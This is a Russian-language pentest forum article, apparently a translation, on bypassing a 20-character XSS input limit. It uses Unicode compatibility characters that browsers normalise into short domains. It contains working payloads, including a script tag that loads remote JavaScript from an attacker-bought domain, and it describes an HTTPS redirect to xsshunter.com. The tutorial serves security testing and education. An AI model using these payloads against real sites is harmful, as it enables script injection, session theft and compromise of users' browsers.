Toggle sidebar Toggle sidebar
РАЗБОР Pentest Статья

Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов

CYBRED
CYBRED Newbie · 10 сообщений
Подписаться
53,7 тыс.
[ обложка статьи ]
Режим чтения
1.png


Межсайтовый скриптинг (XSS) - одна из самых распространенных уязвимостей, которую можно обнаружить чуть ли не на любом сайте в сети интернет (на некоторых, вроде Google и Amazon, придется хорошо поискать - в этих компаниях работают много разработчиков с большим опытом за плечами). Однако, иногда возникают проблемы - например, проблема в количестве символов, которое мы можем ввести, для эксплуатации данной уязвимости. В этом посте мы рассмотрим, как можно решить такую проблему, уложившись, например, лишь в 20 символов.

Совместимость с юникодом
В Unicode одни и те же сложные буквы, вроде Й, Ё, Ç и т.д., можно представить в двух формах - в виде одной буквы или в виде одной базовой буквы (например, «C») и модификаторов. Такой подход был введен в стандарт для обеспечения совместимости с существующими ранее стандартными наборами символов. Таким образом, стандарт нормализации Unicode описывает два вида отношений между символами: Canonical и Compatibility.
Каноническая эквивалентность предполагает, что последовательность двух кодовых пунктов является полностью взаимозаменяемой. Т.е., комбинация из двух символов может быть канонически эквивалентна одному символу - n (маленькая латинская "n" - U+006E) + ◌̃ (тильда - U+0303) = ñ (маленькая латинская "ñ" - U + 00F1).
Совместимая эквивалентность предполагает, что две совместимые последовательности кодовых пунктов выглядят по-разному, но в некоторых ситуациях могут быть взаимозаменяемыми. Например, два латинских символа f, т.е. "ff" (U + 0066 U + 0066), имеют эквивалент одному символу "ff" (U+FB00), но не всегда. По сути, мы видим один и тот же текст, однако последовательность символов не является строго эквивалентной (до тех пор, пока мы не проведем нормализацию).

2fe4c04fbbe2008dd85af.jpg


Проблема с лимитом ввода в 20 символов
Итак, мы нашли уязвимый сайт. Наш пейлоад выглядит так:
HTML: 
<svg/onload=alert``>
Это то, что мы смогли сделать, имея лимит в 20 символов - остальная часть, что бы мы не вводили, обрезается. Таким образом, мы имеем проблему, ведь "alert" - это не серьезно, мы же просто выведем пустое сообщение на экран. Подгрузка скрипта со своего домена (в обход CORS, конечно же) была бы идеальной и дала бы нам гораздо больше преимуществ для подготовки более сложной атаки.

Особенности Unicode в браузерах
Не для кого не секрет, что в современных браузерах нет никаких проблем с кодировками, как это было раньше. А это значит, что нам ничего не помешает реализовать нашу шалость.
Рассмотрим следующий пейлоад:
HTML: 
<script src=//ffff.pw>
Попробуйте скопировать символы, находящиеся между слезшем и точкой. Заметили? В примере выше, "ff" - это один символ, однако выглядит он как две латинских "f". В таком случае, браузер поведет себя так - он просто интерпретирует "ff" как два символа. Это дает нам огромное преимущество.
Вот ещё примеры символов, которые мы можем использовать:
  • ff экивалентен ff
  • ℠ экивалентен sm
  • ㏛ экивалентен sr
  • st экивалентен st
  • ㎭ экивалентен rad
  • ℡ экивалентен tel
Ещё не все! Больше таких символов можно найти тут.

1.png


Реализация
Давайте купим домен telsr.pw.

1.png


Как видите, стоит он не дорого - всего 1.28$.
Если мы будем использовать в нашем пейлоаде только стандартные символы, получится, что мы превысим допустимый лимит в 20 символов.

1.png


Заменим их на эквиваленты:

1.png

HTML: 
<script src=//℡㏛.pw>
Кажется, мы добились поставленной задачи.

1.png


Дальнейшие шаги
Выглядит отлично, но мы не учли одну деталь - если на уязвимом сайте будет использоваться HTTPS-протокол, то при импорте любого скрипта, он будет подружаться по этому же протоколу.
Я задумал реализовать DNS-редирект с telsr.pw на xsshunter.com.
И тут появляется ещё одна проблема - так как используется протокол HTTPS, если мы выполним перенаправление при помощи DNS на другой сайт, произойдет несоответствие сертификата, и файл Javascript не будет загружен.

1.png


Решается такая проблема следующим образом:
  1. Покупаем хостинг для нашего домена, я использую namecheap.com за 1.44$/месяц.
  2. Выпускаем для него HTTPS сертификат (бесплатно от Let's Encrypt)
  3. Загружаем простой HTML-файл c соответствующим мета тегом для редиректа, либо пишем PHP-скрипт, либо используем .htaccess. Тут уже дело вкуса. Объяснять, как это делается, я не буду - все гуглится одной строчкой, реализация аналогична.
4. Из - за того, что мы уже не используем DNS-редирект, XSS успешно эксплуатируется.

1.png


2.png
Полезно · 19
#unicode #xss #межсайтовый скриптинг #пентест

Комментарии

9
#2
Капец, если бы я знал как решить эту проблему с сертификатом еще три года тому назад, когда я впервые с ней столкнулся 😮

Ну а если по существу то примного благодарен за статью, очень полезно! 👍
 
  • Нравится
Реакции: mrtyrel и explorer
2
#3
Есть у кого лист юников для домена ?
 
#4
Спасибо за статью! )

Про ffff не знал, пиши еще ))
 
#5
Спасибо статейка вышла на славу
 
#6
прочитал вашу статью и появился вопрос, а возможны ли коллизии, как с мд5 в в этих цифровых сертификатах или нет?
 
#7
весьма странно что автор пропал - на вопросы не отвечает?
 
#8
  • Нравится
Реакции: Сергей Попов и Aleks Binakril
2
#9
☠xrahitel☠, о благодарю за первоисточник
 
#10
Для ответа нужно войти/зарегистрироваться
Продолжить чтение
Следующий разбор WebSocket Security: тестирование real-time приложений

Ещё по теме

delifer
  • Статья Статья
Статья Современные методы обхода WAF в задачах с нестандартным XSS
Ответы
0
Просмотры
2 тыс.
Безопасность веб-приложений
delifer
delifer
Сергей Попов
  • Статья Статья
Статья XSS уязвимость на практике: поиск, эксплуатация и обход фильтров
Ответы
0
Просмотры
2 тыс.
Анализ уязвимостей и исследования
Сергей Попов
Сергей Попов
xzotique
  • Статья Статья
Статья XSS: Всё, что нужно знать
Ответы
2
Просмотры
5 тыс.
Безопасность веб-приложений
mapke
M
sm1le
  • Статья Статья
Writeup Прохождение TraceBash CTF 2026 (категория web)
Ответы
0
Просмотры
1 тыс.
HackerLab: практика и соревнования
sm1le
sm1le
Верх Низ
Назад